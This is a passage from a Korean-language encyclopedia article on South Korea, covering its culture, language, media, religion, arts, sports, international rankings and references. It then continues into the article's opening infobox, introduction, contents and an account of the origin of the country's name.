있으며,[98] 남녀 심리,치료,범죄 심리 등 다양한 방송 프로그램 주제로 사용하거나,[99] 교수가 직접 매체로 나와 강의를 하는[100] 등 대중에게 다가가기 위한 노력을 지속하고 있다. 이러한 결과로 과거 대학교의 비인기 학과였던 '심리학과'가 상위 경쟁률을 기록하고, 관련 주제의 책이 대거 출간되고, 베스트 셀러에 오르는 등 인기가 높아지고 있다.[99] 여가 한국콘텐츠진흥원이 2011년 발표한 자료에 따르면 대한민국 국민 전체의 여가 시간에 즐기는 활동 중 게임이 29.9%로 가장 높았다. 연령별 연령별로는 30대 미만의 경우 역시 게임이 가장 높게 나타났다. 반면 30대 이상 연령층은 영화와 TV 시청을 선호하는 것으로 나타났다. 스크린 다이제스트의 자료에 따르면 대한민국 1인당 영화 관람 횟수는 2013년 4.12편으로 미국의 3.88편을 제치고 세계에서 영화를 가장 많이 보는 것으로 나타났다.[101] 자신의 여가생활에 대한 불만족 이유들로는 ‘시간 부족’ 비율이 45.9% 였고, 그 다음으로는 ‘경제적 부담’이라는 이유가 45.6%로 나타났다.[102] 문화 이 부분의 본문은 한국의 문화입니다. 1948년 이전 한반도를 중심으로 한 한민족의 문화에 관해서는 한국의 문화 문서를 참고하십시오. 강릉 경포대 서당(書堂), 단원풍속도첩(檀園風俗畵帖), 종이에 담채, 1780년경 김홍도 작. 한국은 반도에 있는 지리적 조건으로 대륙 문화와 해양 문화의 영향을 모두 받았다. 고대의 한국 문화는 시베리아, 중앙아시아의 북방계와 동남아시아의 남방계가 혼합된 바탕에 중국 등 이웃 나라에서 들어온 외래 문화와 한국 고유의 독자적 문화와 융합하여 발전했다. 언어 이 부분의 본문은 한국 § 언어와 문자입니다. 훈민정음(訓民正音) 관습적인 공용어이자 법적인 공용어는 한국어로, 그 계통이 학계에서 확증되지 않은 고립된 언어이지만 많은 학자들이 알타이어족과 연관성 있음을 주장한 바 있고, 특히 많은 한국인 학자들은 한국어가 알타이어족에 속한다고 보고 있다. 한국어 표기에 쓰이는 문자인 한글은 세종대왕이 원로대신들의 반대를 무릅쓰고 언문청(諺文廳) 또는 정음청(正音廳)을 설치하여, 훈민정음이라는 명칭으로 1446년 반포하였다. 한글은 각 자음과 모음이 하나의 기호로 표시되고, 그 자음과 모음을 모아써서 소리를 나타내는 표음문자이다. 한글의 자음은 발음기관의 모양을 본뜨고 모음은 천(하늘:ㆍ),지(땅:ㅡ),인(사람:ㅣ)을 나타내는 각 부호의 조합으로 만든, 세계에서 유일하게 그 창제 원리가 밝혀진 문자이다. 한글 창제 이전에는 삼국 시대 혹은 그 이전부터 써왔던 한자와 이를 당시의 한국인이 쓰던 입말에 맞는 한자의 소리만 따서 문자로 표기한 향찰, 구결, 이두 등이 한국어 기록 수단이었다. 한자는 훈민정음 창제 이후에도 양반층 및 관공서에서 계속 써왔으며, 1894년 갑오개혁 이후에야 비로소 공문서에 한글을 쓰기 시작했다. 일부에서는 글의 이해를 돕는다는 측면에서 한글 대신 한자로 직접 표기하기도 한다. 1962년 3월 1일 박정희 대통령의 한글전용정책이 시행되면서 표기문자의 주류로 등장했고, 현재 한자 표기는 중의적 표현을 막기 위해 부수적으로 쓰고 있다.(한글맞춤법 참고) 초등학교 3학년부터 중학교, 고등학교에서는 영어를 제1외국어로 의무 교육으로 가르치고 있으며, 대한민국에서 교육하는 영어는 미국식 영어를 기준으로 하고 있다. 중학교에서부터 선택하여 배울 수 있는 제2외국어로는 중국어, 프랑스어, 독일어, 일본어, 스페인어, 러시아어, 아랍어 등의 7개 언어가 있다. 고등학교에서도 제2외국어를 배울 수 있으며, 대학수학능력시험때 수험생이 제2외국어를 선택할 수도 있다. 특히 일본어와 중국어는 대한민국 국민들이 가장 많이 배우는 제2외국어이기도 하다.[103] 언론 이 부분의 본문은 대한민국의 언론입니다. 대한민국 헌법에 의하면 언론의 자유를 인정하는 것과 더불어 집회, 결사, 표현의 자유를 허용하고 있다. 대한민국의 일간 신문은 크게 전국지와 지방지로 나뉜다. 전국지는 대한민국 전국을 대상으로 발행되며, 지방 소식을 전달하기 위해 일부 지면을 할애한다. 지방지는 특정 지역에 연고를 둔 신문으로 전국적인 뉴스를 다루기도 하지만 주로 해당 지역의 뉴스를 다룬다. 전국지로는 조선일보, 중앙일보, 동아일보 등의 보수적인 신문, 이른바 '조중동'과, 한겨레, 경향신문 등의 진보적인 신문, 이른바 '한경오'으로 분류되고 있다. 2008년 한국언론재단에서 조사한 자료에 따르면 시장점유율은 조선일보 11.9%, 중앙일보 9.1%, 동아일보 6.6%, 경향신문 2.7%, 한겨레신문 1.7% 의 순으로 나타나고 있다.[104] 특정 분야를 전문적으로 다루는 전문지들도 있으며, 크게 경제에 관련된 소식을 다루는 경제지와, 스포츠와 연예계 소식을 다루는 스포츠지를 들 수 있다. 한편 주요 도시의 공공시설에서 출근 시간대에 무료로 배포되는 무가지가 존재하며,[105] 인터넷 매체를 통한 인터넷 신문도 존재한다. 2008년 기준 대한민국 일간지의 수는 약 288종, 주간지의 수는 약 2,896종, 월간지의 수는 약 3,293종, 격월간지의 수는 약 459종, 계간지의 수는 약 981종, 년 2회의 수는 약 325종, 인터넷 신문의 수는 약 1,040종 정도가 있다.[106] 방송의 경우 지상파 텔레비전 방송, FM라디오 방송, AM라디오 방송, 단파 라디오 방송, 케이블 방송, 디지털위성방송, 지상파 DMB 방송 등이 있다. 현재 전국 단위 지상파 방송으로 국공영 방송인 한국방송공사(KBS)와 준공영방송인 문화방송(MBC)이 있다. 지역 단위 지상파 민영 방송으로는 한국방송공사와 문화방송(MBC)을 중심으로 한 계열과 서울지역의 지역민영방송인 에스비에스(SBS)를 중심으로 한 SBS 네트워크 계열이 있으며, 그외 독자적인 지방 민영방송인 경인지역의 경인TV가 있다. 그외 한국교육방송공사법에 따른 공영방송인 한국교육방송공사(EBS)이 지상파 방송으로 있다. 종합편성채널 4사로는(JTBC, MBN, 채널A, TV조선)와 보도 채널인 연합뉴스TV와 YTN 등 2개의 보도 채널이 존재하며, 케이블TV 최대 PP사업자인 CJ E&M과 티캐스트도 있다. 라디오 방송의 경우 지상파 방송사인 KBS, MBC, SBS, EBS가 점유하는 주파수와 기타 기독교방송(CBS), 극동방송(FEBC), 불교방송(BBS), 평화방송(PBC), 원음방송(WBS) 등 종교방송의 주파수, 교통안내 전문 방송인 교통방송(서울은 TBS, 기타 지역은 TBN 한국교통방송), 국악 전문의 국악방송, 그리고 국방홍보 목적의 국군방송 등의 여러 방송사가 존재한다. 대한민국은 미국에 이어 세계에서 두 번째로 인터넷이 연결된 나라이며, 세계 최고 속도의 인터넷 속도를 보유하고 있다. 높은 초고속 인터넷 보급률과 인터넷 이용률을 보이는 대한민국은 2000년 초중반 인터넷 신문을 표방한 오마이뉴스, 프레시안 등의 등장과 함께 인터넷 신문과 포털사이트를 중심으로 한 인터넷 언론 매체가 두각을 나타내고 있다. 이런 인터넷 언론 매체들은 인터넷 매체 특유의 신속성과 높은 접근성 등을 강점으로 대한민국 사회에서 여론 형성에 상당한 위력을 보이고 있다. 참고로 단순 뉴스 전달자에 불과했던 포털사이트가 하나의 언론세력으로 성장하는 변화를 보임에 따라, 대한민국 정부는 인터넷 신문사, 포털사이트를 언론 기관으로 보고 법적 규제를 마련했다.[107] 종교 종교 구성 (2015년 인구주택 총 조사)[108] 종교없다    56.1% 불교    15.5% 개신교    19.7% 천주교    7.9% 기타    0.8% 경주 석굴암 이 부분의 본문은 대한민국의 종교입니다. 대한민국에는 고대로부터의 전통적인 토착신앙으로서 무교(무속신앙)이 있다. 불교와 유교는 오래전 삼국시대부터 유입되었으며, 불교는 5세기부터 14세기 말(삼국시대 및 고려시대)에 이르는 약 1천 년 동안 한반도에서 융성하여 많은 사찰과 문화유산을 남기고 현재 단일 종교로는 대한민국에서 가장 신도수가 많다.[109] 14세기 말 조선에서는 유교가 국교로 지정되었다. 그러나 현재는 유교를 학문과 사상, 가치관 그리고 철학으로서 배우는 사람은 있으나 신앙의 대상으로 삼는 사람은 그다지 많지 않다. 유교는 현재까지도 한국인들의 풍습이나 습관, 습성, 가치관, 사상, 생활 방식 등에 많은 영향을 미치고 있다. 기독교의 경우 천주교는 조선 후기에 이승훈 등에 의해 서학이라는 이름으로 전파되었으며[110], 그 교세가 확장되자 병인박해, 신유박해 등 대규모 박해 사건이 일어난 일 때문에 프랑스의 병인양요가 일어난 계기가 되어 조선 정부의 탄압이 거세졌다. 당시의 순교자 중 103명이 로마 가톨릭교회에서 시성되어 성인이 되었다. 19세기 말부터 20세기 초 사이에 미국의 개신교 선교사들의 선교활동으로 학교와 개신교 교회들이 세워졌다. 이 시기에 감리교, 장로회 등의 개신교, 성공회, 정교회 선교사가 파송됨으로써 전파되었고 양적인 성장이 있었다. 대한민국의 기독교 역사는 비록 짧으나 빠른 속도로 발전하여 현대 사회에 큰 영향을 발휘하고 있으며 전 세계적인 종교활동 및 선교가 활발하다. 현재 성공회, 천주교와 정교회, 개신교를 합친 기독교 인구는 전 종교 중에서 가장 많다. 그 밖에 천도교(동학), 대종교, 원불교, 증산도, 통일교 등 여러 신흥 종교가 19세기에서 20세기에 이르는 기간 한국에서 창시되어 현재까지 신봉되고 있다. 예술 문학 이 부분의 본문은 한국 문학입니다. 음악 이 부분의 본문은 한국의 음악입니다. 대표적인 대한민국의 전통 민요로는 아리랑을 들 수 있고, 그 밖에 지방마다 다른 민요가 있다. 대한민국의 많은 가수들이 동아시아와 동남아시아권에 널리 알려져 있으며, 대한민국의 대중음악 시장(K-POP)은 지속적으로 발전하고 있다. 대표적인 K-POP가수로는 보아, 동방신기, 슈퍼주니어, 소녀시대, 샤이니, 비스트 , 티아라, 인피니트등이 있다. 또한 2012년에는 싸이(박재상)의 '강남스타일(Gangnam Style)'로 세계에 강남스타일 열풍을 불러일으켰으며, 이 노래는 원더걸스의 Nobody 이후, 미국 빌보드 차트에 2위까지 올랐다. 미술 이 부분의 본문은 한국 미술입니다. 한국 미술은 약 기원전 7천여년전 신석기 시대부터 시작되었다. 고조선 시기에는 제의를 위해 만들어진 비파형 동검, 동경 (거울), 방울에서 그 예를 찾아볼 수 있다. 삼국 시대에는 왕족과 귀족을 위한 예술이 등장하였는데, 고구려의 고분벽화, 백제의 금동대향로, 신라의 금관이 대표적이다. 이후 고려시대에는 도자기의 일종인 고려 청자와 먹으로 그리는 문인화가 발달했다. 조선 시대 때부터 양반 사대부들을 성리학에 기반한 문화를 발전시켰으며, 이들은 문인화와 백자를 선호하였다. 이들 문화는 다분히 사대주의적이었으나, 영조와 정조 시대에는 정선, 김홍도, 신윤복 등의 화원들이 나타나 특색 있는 미술을 만들었다. 동시에 조선시대에는 서민적인 미술인 민화가 발달했다. 그 후 대한제국기와 일제 강점기를 거치면서 일본 유학생을 중심으로 서양 고전 미술과 모더니즘 미술이 도입되었고, 해방 이후 미국, 프랑스, 독일로 유학을 떠났다 돌아온 유학생들이 현대 미술을 시도하였다. 현대 한국 미술은 서양적 기술과 재료를 바탕으로한 혼합된 서양화가 주를 이루고 있지만, 서예, 동양화와 같은 전통미술 역시 명맥을 이어나가고 있다. 한편 백남준은 독창적인 비디오 아트를 선보여 한국 출신 작가 중 가장 전세계적으로 잘 알려진 예술가가 되었다. 하지만 한국 순수미술 분야는 국내외적으로 관심을 받지 못하고 있다. 반면 건축, 그래픽디자인, 산업디자인, 게임 같은 상업미술 분야에서는 점차 주목받고 있다. 스포츠 이 부분의 본문은 대한민국의 스포츠입니다. 한국의 스포츠는 고대부터 무술에 근거한 체육 활동이 발달했으며, 특히 대한민국의 국기(國技)인 태권도는 올림픽 정식 종목에 채택되기도 하였다. 태권도 이외에도 한국 전통 무술(스포츠)인 궁술(국궁), 택견, 씨름이 있다. 대한민국은 1948년 하계 올림픽부터 올림픽에 참가했다. 또 1988년 하계 올림픽을 서울에 유치하였으며, 금메달 12개, 은메달 10개, 동메달 11개를 획득하여 종합 4위를 기록하였다. 올림픽에서 대한민국이 강세를 보이는 종목으로는 양궁, 사격, 탁구, 배드민턴, 쇼트트랙, 핸드볼, 유도, 태권도, 역도가 있으며, 최근 20년간 하계 올림픽의 경우 시드니 올림픽을 제외하면 메달 종합 10위 이내의 성적을 올렸다. 특히 2012년 하계 올림픽에서는 종합 5위에 오르는 기염을 토하기도 하였다. 동계 올림픽의 경우 2018년 동계 올림픽을 개최하기도 했으며, 2010년 동계 올림픽에서 대한민국은 종합 5위를 기록하며 최고 기록을 세웠다. 대한민국은 또한 1986년 아시안 게임과 2002년 아시안 게임, 2014년 아시안 게임등을 개최했으며, 종합 1위는 1995년 동계 유니버시아드, 2007년 동계 유니버시아드에서 차지한 적이 있다. 실제로 즐겨하는 생활스포츠 그리고 국가대표팀 경기와 프로 경기 포함 TV로 가장 즐겨보는 스포츠 등 각종 부분에서는 축구가 최고 인기 스포츠로 선정되고 있으며[111][112] 축구, 야구, 농구, 배구, e스포츠, 바둑의 6개의 종목이 프로 리그를 갖추고 있다. 프로 리그에서 인기 종목으로는 야구와 축구 등이 꼽히며, 한국의 발전에 밑거름에 이어 근래에는 국제 대회에서 좋은 성적을 거둔다. 축구는 2002년 FIFA 월드컵을 일본과 공동 개최하며 대회 4위에 오른 적이 있다. 2010년 FIFA 월드컵에서는 원정 16강에 성공하였으며, 2018년 대회까지 아시아에서 유일하게 10회 연속 월드컵 본선에 진출했다. 2012년 하계 올림픽 축구에서는 동메달을 따기도 했다. 야구는 2008년 하계 올림픽에서 우승, 2009년 월드 베이스볼 클래식 준우승, 2015년 WBSC 프리미어 12 우승의 경력이 있다. 1990년대 말 게임 및 전자 산업의 발전과 더불어 성장한 e스포츠는 2001년 '한국e스포츠협회' 창립 후 선수 관리, 경기 규칙, 대회 방식이 체계화 되어 누구나 쉽게 참여할 수 있는 대중 스포츠로서 자리를 잡았다. 2004년부터 파트 3 경마국으로 지정되었다. 2009년 대한민국의 서러브레드 경주마 생산은 1000여 마리였다[113]. 경기도 과천시, 경상남도 김해시와 부산광역시 강서구, 제주도에 경마공원이 있고 32개의 KRA 플라자(장외 마권 발매소)가 있다. 한편 대한민국이 개최했거나 개최 예정인 스포츠 대회는 다음과 같다. 올림픽 1988년 서울 하계 2018년 평창 동계 FIFA 월드컵 2002년 한국/일본 월드컵 2007년 U-17 월드컵 2017년 U-20 월드컵 세계 육상 선수권 대회 2011년 대구 아시안 게임 1986년 서울 하계 1999년 강원 동계 2002년 부산 하계 2014년 인천 하계 AFC 아시안 컵 1960년 한국 세계 수영 선수권 대회 2019년 광주 유니버시아드 1997년 무주-전주 동계 2003년 대구 하계 2015년 광주 하계 F1 코리아 그랑프리 세계 조정 선수권 대회 2013년 충주 한류 이 부분의 본문은 한류 (문화)입니다. 한류(韓流, Korean wave)는 대한민국의 대중문화가 주로 아시아를 중심으로 외국에서 대중성을 가지게 되는 것을 말한다. 1997년 무렵부터, 문화 수출국을 목표로 하는 대한민국의 국책을 배경으로, 2000년 전후부터 대한민국 드라마가 아시아의 여러 나라들에서 방송되었다. 그 후 중화인민공화국이나 일본에서도 한국의 대중 문화가 널리 유입되어 이 용어가 널리 사용되게 되었다. 공휴일 대한민국의 공휴일 문서를 참고하십시오. 국제 순위 이 부분의 본문은 대한민국의 국제 순위입니다. 평가기관 항목 순위 조사 시기 프리덤하우스(세계인권단체) 정치인권 및 시민자유 부분적 자유(Partly Free)[114] 2012년 국경 없는 기자회 인터넷 통제 인터넷 감시 대상국[115] 2012년 스위스 국제경영개발원(IMD) 국가 경쟁력 59개국 중 22위[71] 2012년 Clarkson PLC 사 조선산업 경쟁력 15개국 중 1위[116] 2012년 통계청(OECD국가들 중) 선박 건조량 30개국 중 1위[117] 2013년 아카마이 인터넷 평균 속도 226개국 중 1위[118] 2012년 옥스퍼드대학교, 오비에도 대학교 초고속 인터넷 품질 66개국 중 1위[119] 2012년 세계 경제 포럼(WEF) 정보통신 활용도 138개국 중 1위[120] 2012년 세계은행 관세행정 61개국 중 1위[121] 2012년 OECD 교통사고 사망률 31개국 중 2위[122] 2014년 OECD 결핵 사망률 30개국 중 1위[123] 2014년 OECD 제왕절개분만률 1위[124] 2005년 WHO(세계) 10만 명당 자살률 전 세계 1위[81] 2011년 OECD 청소년 자살률 OECD 회원국 중 1위 2013년 OECD 청소년 행복지수 OECD 회원국 중 34위 2013년 관련 항목 대한민국 정부 대한민국의 역사 대한민국의 주요 노동운동 대한민국의 문화 대한민국의 자연 대한민국의 요리 한반도 평화협정 대한민국의 통일 조선민주주의인민공화국 한국 한국 전쟁 대한민국의 자살 동북아 균형자론 대한민국의 기업 목록 대한민국의 공휴일 각주 ↑ 가 나 다 Report for Selected Countries and Subjects-Korea, International Monetary Fund, 2017-04-15 확인. ↑ 가 나 “Human Development Index and its components: P.198” (PDF). United Nations Development Programme. 2016. 2016년 5월 4일에 확인함.  ↑ 약칭으로 RK라는 표현도 있으나, 잘 쓰이지 않는다. ↑ “http://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EA%B5%AD%EA%B8%B0%EB%B2%95”. 2018년 7월 6일에 확인함.  |title=에 외부 링크가 있음 (도움말) ↑ "한국은 국제법상 한반도 유일 합법정부 아니다" - 오마이뉴스 모바일 ↑ Ian Brownlie, Principles of Public International Law(1990), p.97. ↑ 92헌바6, 1997.1.16 ↑ 2016헌바361 ↑ 가 나 Report for Selected Countries and Subjects: South Korea, IMF, 2015-04-15 확인. ↑ http://data.worldbank.org/about/country-classifications/country-and-lending-groups#OECD_members ↑ '민국'(民國)이란 근대 개화기 당시 영어 단어인 Republic의 역어로 만들어진 단어이다. 즉, 단순히 지금의 공화국이라는 뜻이다. 중화민국이 처음으로 사용하였다. 한편 민국처럼 영어 단어인 Monarchy를 번역한 언어로 '군국'(君國)이라는 용어도 만들어져 잠시 사용된 적이 있다. ↑ 격동의 역사와 함께한 조선일보 90년 : 조선일보 인수해 혁신시킨 신석우, 임시정부 때는 '대한민국' 국호(國號) 정해 《조선일보》2010-01-08 ↑ 송승표, 《우리가 몰랐던 우리 역사: 나라 이름의 비밀을 찾아가는 역사 여행》, 학민사, 2013년 12월 10일. ↑ "정식 국호는 '대한민국'이나 사용의 편의상 '대한' 또는 '한국'이란 약칭을 쓸 수 있되 조선민주주의인민공화국과의 확연한 구별을 짓기 위하여 '조선'은 사용하지 못한다. '조선'은 지명으로도 사용하지 못하고 '조선해협', '동조선만(東朝鮮灣)', '서조선만(西朝鮮灣)' 등은 각각 '대한해협', '동한만', '서한만' 등으로 고쳐 부른다." ↑ 김정선 기자 (2005년 11월 29일). “남북 공식호칭 ‘남한’‘북한’으로 쓴다”. 경향신문.  ↑ 민종원 기자 (2008년 7월 28일). “Corea 대 Korea, 누가 이긴 거야?”. 오마이뉴스.  ↑ 가 나 《역사와 현실》, 〈국호영문표기, Corea에서 Korea로의 전환과 의미〉, 이영호, 2005년 12월, 한국역사연구회 ↑ 단 대한민국 헌법 제3조는 "대한민국의 영토는 한반도와 그 부속도서로 한다"고 규정하여 헌법상 북한 지역을 개별 국가로 인정하지 않고 있어 남북 관계는 아주 특수한 관계로 되어 있다. ↑ 가 나 다 국내기후자료 - 한국, 대한민국 기상청 ↑ Selig S Harrison, 《Seabed Petroleum in Northeast Asia: Conflict or Cooperation?》, Woodrow Wilson International Center for Scholars, 2005 ↑ 근대 한국을 가르는 기준은 1862년 고종의 즉위식, 1876년 강화도 조약에 따른 개항 이후, 1897년 대한제국의 선포 이후, 1948년 대한민국 정부 수립 이후 등 여러 이견이 있다. ↑ http://www.munhwa.com/news/view.html?no=1997041813000401 5.18 내란 사건 대법원 판결문 요지 ↑ [김대중 前 대통령 서거] 과감한 구조개혁 'DJ노믹스'로 최단기간 환란극복 :: 네이버 뉴스 ↑ http://www.pressian.com/article/article.asp?article_num=40080218172720&Section= '이라크통' 한병도 의원 "당선인 신분 망각했다" ↑ 강훈상 특파원. 김종수 기자 (2008년 2월 22일). “이라크 "韓-쿠르드 유전개발 MOU 승인 안해"(종합)”.  ↑ 비례대표 3명을 제외할 경우 25석이 된다. ↑ http://www.index.go.kr/com/cmm/fms/FileDown.do?apnd_file_id=1041&apnd_file_seq=16 ↑ 가 나 대법원 1990.9.25. 선고 90도1451 판결 ↑ 김연숙 기자 (2010년 9월 23일). “해외 우리국민 추방사례 43%가 일본”. 연합뉴스. 2010년 9월 29일에 확인함.  ↑ 2010년판 국방백서 부록3 "남북 군사력 비교" 271쪽. 2013년 2월 기준 ↑ 2010년판 국방백서 부록2 "세계 주요 국가의 국방비 비교" 270쪽. 2009년 기준 ↑ http://media.daum.net/society/newsview?newsid=20121113110214725 육군 3사관학교 여생도 뽑는다-내년까지 여군 활용 직위 재검토. 연합뉴스. 2012.11.13 11:02 ↑ 2012년판 국방백서 <도표 3-2> "육군의 주요 조직과 보유 전력" 41쪽 ↑ 차기전차 K2'흑표'의 세계 최고 전력 분석, 쿠키뉴스 엄기영, 2007-03-02 ↑ 두산인프라, 헬기잡는 장갑차 'K21'...내년부터 공급, 고뉴스 이대준, 2008-10-30[깨진 링크(과거 내용 찾기)] ↑ 수도, 8, 11, 20, 26, 30 ↑ 가 나 2010년판 국방백서 <도표 3-3> "해군의 주요 조직과 보유 전력" 42쪽 ↑ 1973년 이후~ : 강준만, 《한국현대사산책: 1970년대편》(2권) 15~22쪽 참조. ↑ “mk 뉴스 - 구매력 기준으로 보면 한국 1인당 소득 3만弗”. 2013년 12월 18일에 원본 문서에서 보존된 문서. 2010년 6월 6일에 확인함.  ↑ "The N-11: More Than an Acronym" Archived 2008년 9월 11일 - 웨이백 머신 - Goldman Sachs study of N-11 nations, Global Economics Paper No: 153, 2007년 3월 28일. ↑ 조선일보 최우석, 2008-11-01 ↑ Global 500 2008: Countries - South Korea ↑ 김병권 (2012년 1월 17일). “몇년째 '시한폭탄'... 가계부채, 올해는 터질까”. 오마이뉴스.  ↑ 가 나 다 라 가구당 부채 5000만원 처음 넘어서 문병기《동아일보》2011-11-12 ↑ 신건웅 기자 (2012년 2월 4일). “‘빚’으로 내몰리는 사회.. 위기의 가계대출”. 아시아투데이.  ↑ 하대석 기자 (2012년 1월 30일). “[경제365] 공공부문 부채 급증…800조 육박”. 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(남한에서 넘어옴) 둘러보기로 가기 검색하러 가기 다른 뜻에 대해서는 대한민국 (동음이의) 문서를 참조하십시오. 대한민국 大韓民國 국기 국장 국가 애국가 수도 서울 북위 37° 34′ 08″ 동경 126° 58′ 36″ / 북위 37.568889° 동경 126.976667°  / 37.568889; 126.976667 서울 정치공용어 한국어정치체제 공화제, 자유민주주의, 단일 국가, 대통령중심제대통령국회의장대법원장헌법재판소장국무총리 문재인문희상김명수유남석이낙연역사   • 독립 선언 1919년 3월 1일 • 임시 정부 수립 1919년 4월 11일 • 광복 1945년 8월 15일 • 헌법 제정 1948년 7월 17일 • 제1공화국 수립 1948년 8월 15일 • 4.19 혁명 1960년 4월 19일 • 제6공화국 수립 1988년 2월 25일지리면적 100,363km2 (107 위)내수면 비율 0.3%시간대 KST (UTC+09:00)DST 없음인구2018년 어림 51,635,000명2018년 조사 51,826,059명 (27위)인구 밀도 516.3명/km2 (26위)경제GDP(PPP) 2016년 어림값 • 전체 1조 9340억 $[1] (13위) • 일인당 27,538 $[1] (29위)명목 1조 4112억 $[1] (11위)HDI 0.901[2] (18위, 2016년 조사)통화 원 (KRW,₩) (KRW)기타ISO 3166-1 410, KR, KOR도메인 .kr / .한국국제 전화 +82 대한민국(듣기 (도움말·정보), 大韓民國, 영어: Republic of Korea; ROK[3])은 동아시아의 한반도 중남부에 있는 공화국이다. 서쪽으로는 서해를 사이에 두고 중화인민공화국이, 동쪽으로는 동해를 사이에 두고 일본이 있으며 북쪽으로는 조선민주주의인민공화국과 맞닿아 있다. 수도는 서울특별시이며, 국기는 태극기[4], 국가는 애국가, 공용어는 한국어와 한국 수어이다. 대한민국 국내에서는 간단히 한국(韓國), 남한(南韓) 등으로도 부른다. 대한민국이라는 명칭은 3.1 운동을 통해 독립을 선언하고, 1919년 4월 11일 대한민국 임시정부가 수립하며 시작되었다. 1945년 광복 이후, 한반도의 북위 38도선 이남 지역 거주자들의 자유로운 선거(5.10 총선거)를 통하여 1948년 8월 15일에 공식적인 민주주의 국가로 출범하였다. 대한민국 헌법 전문에 따르면 대한국민은 3.1운동으로 건립된 대한민국 임시 정부의 법통을 계승한다. 대한민국은 1948년 12월 유엔 총회 결의 제195호를 통해 유엔으로부터 한반도 대다수 주민의 자유로운 의사에 따라 탄생한 한반도 유일한 정부로서 합법 정부로 승인 받았다. 이와 관련하여 대한민국 정부가 1948년에 유엔 감시 하에 선거를 실시한 한반도 이남에서만 유일한 합법 정부라는 주장도 있다.[5] 1991년 대한민국과 조선민주주의인민공화국은 동시에 UN에 가입하였다. 한편 국제법 상의 관례와 통설[6], 대한민국의 헌법재판소의 판례에 따르면 조선민주주의인민공화국이 UN에 가입하였다 하여 가맹국들 상호 간에도 당연히 그 국가성이 승인되는 것은 아니고 또 그러한 의무가 있는 것이 아니다.[7] 대한민국은 조선민주주의인민공화국의 국가성을 원칙적으로 부정한다.[8] 대한민국은 한국 전쟁 이래 일명 '한강의 기적'이라고 불리는 높은 경제 발전을 이룩하며, 1990년대에 이르러 세계적인 경제 강국으로 발전하였다. 2015년 구매력 기준 1인당 국민 총소득(GDP)은 36,601달러로[9] 세계은행에서 고소득 국가로 분류되었고, 2016년 유엔의 인간 개발 지수(HDI) 조사에서 세계 18위로 '매우 높음'으로 분류되었다.[2] 또한, 국제 통화 기금(IMF)에서는 대한민국을 선진 경제국으로 분류하고 있다. 대한민국의 명목 국내 총생산(GDP)은 2016년 1조 4112억 달러이다.[9] 또한, 대한민국은 주요 20개국(G20), 경제 협력 개발 기구(OECD), 개발 원조 위원회(DAC), 파리 클럽과 같은 기구에서 회원국으로 활동하고 있다.[10] 목차 1 국명 2 지리 2.1 지형 2.2 기후 2.3 동식물 2.4 천연자원 3 역사 3.1 기원 3.2 대한민국 임시정부 3.3 군정기와 해방 정국 3.4 대한민국 정부 수립 3.5 한국 전쟁 3.6 제1·2공화국 3.7 제3·4공화국 3.8 제5공화국 3.9 노태우 정부와 문민정부 3.10 국민의 정부와 참여정부 3.11 이명박 정부와 박근혜 정부 3.12 문재인 정부 4 정치 4.1 정부 4.1.1 입법부 4.1.2 행정부 4.1.3 사법부 4.2 정당 4.3 행정 구역 4.4 외교 4.4.1 남북 관계 4.4.2 한미 관계 4.4.3 한일 관계 4.4.4 한중 관계 4.4.5 한러 관계 5 국방 5.1 육군 5.2 공군 5.3 해군 5.3.1 해병대 6 경제 6.1 개관 6.1.1 부채 6.2 산업 6.2.1 농업 6.2.2 공업 6.2.3 동반 성장 6.3 교통 6.3.1 육상 교통 6.3.1.1 도로 6.3.1.2 버스 6.3.1.3 철도 6.3.2 항공 교통 6.3.3 해상 교통 7 사회 7.1 사회적 약자 7.1.1 노동자 7.1.2 성소수자 7.1.3 여성 7.1.4 이주민 7.1.4.1 난민 7.2 인구 7.2.1 도시의 인구 순위 7.3 교육과 문화 7.4 복지 7.5 사회 갈등 7.5.1 갈등·소통 지수 7.6 사회 지표 7.7 심리 7.7.1 대응 7.8 여가 8 문화 8.1 언어 8.2 언론 8.3 종교 8.4 예술 8.4.1 문학 8.4.2 음악 8.4.3 미술 8.5 스포츠 8.6 한류 8.7 공휴일 9 국제 순위 10 관련 항목 11 각주 12 외부 링크 국명 한국의 역사韓國史 선사시대 구석기 시대 신석기 시대 (빗살무늬토기 시대) 청동기 시대 (민무늬토기 시대) 고조선시대 단군조선(?~기원전 194년) 위만조선(기원전 194년~기원전 108년) 진(辰)(기원전 4세기~기원전 2세기) 원삼국시대 부여 옥저 동예 마한 진한 변한 삼국시대 고구려(기원전 37년~668년) 백제(기원전 18년~660년) 신라(기원전 57년~ ) 가야(42~562년)   남북국시대 발해(698~926년) 통일신라(676년~ ) 후삼국시대 태봉(901~918년) 후백제(892~936년) 신라( ~935년) 통일왕조시대 고려(918~1392년) 조선(1392~1897년) 대한제국(1897~1910년) 식민지시대 일제 강점기(1910~1945년)   대한민국 임시 정부(1919~1945년) 현대 군정기 한국 (1945~1948년) 조선민주주의인민공화국(1948년~현재) 대한민국(1948년~현재) v • d • e • h 이 부분의 본문은 한국의 나라 이름입니다. '대한민국'이란 국호 중 대한(大韓)의 어원은 고대 한반도 남부 일대에 존재했던 나라의 이름인 한(韓)에서 유래한다. 마한, 진한, 변한을 합쳐 삼한이라고 불렀으며, 고구려, 백제, 신라를 합쳐 삼한이라 부르기도 하였다. 한(韓)이라는 말은 종교적 의미와 정치적 의미가 복합적으로 이루어져 고대부터 내려오던 말로서, '하나', '하늘', '크다', '칸(汗) 등 여러 해석이 있다. 근대 국가의 국호로서 '대한'은 1897년 고종이 대한제국을 선포하면서 다시 선택한 것으로 새 국호를 정한 이유를 "조선이라는 이름은 기자가 봉해졌을 때의 이름이니 제국의 이름으로 합당하지 않은데, 한(韓)이라는 이름은 우리의 고유한 이름이며 삼국시대의 세 국가를 아우르는 것이기도 하므로 '큰 한'이라는 이름이 적당하다"고 밝혔다. 이후 여기에 민국(民國)[11]을 더한 '대한민국'이라는 국호는 1919년 3.1운동 직후에 만들어진 대한민국 임시 정부에서 정한 것이다. 1919년 4월 10일 임시 정부의 첫 의정원 회의에서 신석우가 '대한민국'(大韓民國)으로 국호를 정하자고 한 것에 여운형이 '대한'이라는 이름으로 나라가 망했는데 또다시 '대한'을 쓸 필요가 있느냐며 반박하자, 다시 신석우가 "대한으로 망했으니 대한으로 다시 흥해보자"라고 부연 설명을 하였고, 이에 다수가 공감함에 따라 '대한민국'으로 결정되었다고 전해진다.[12][13] 광복 후 1948년 제헌 국회에서 이 국호를 계승하여 헌법에 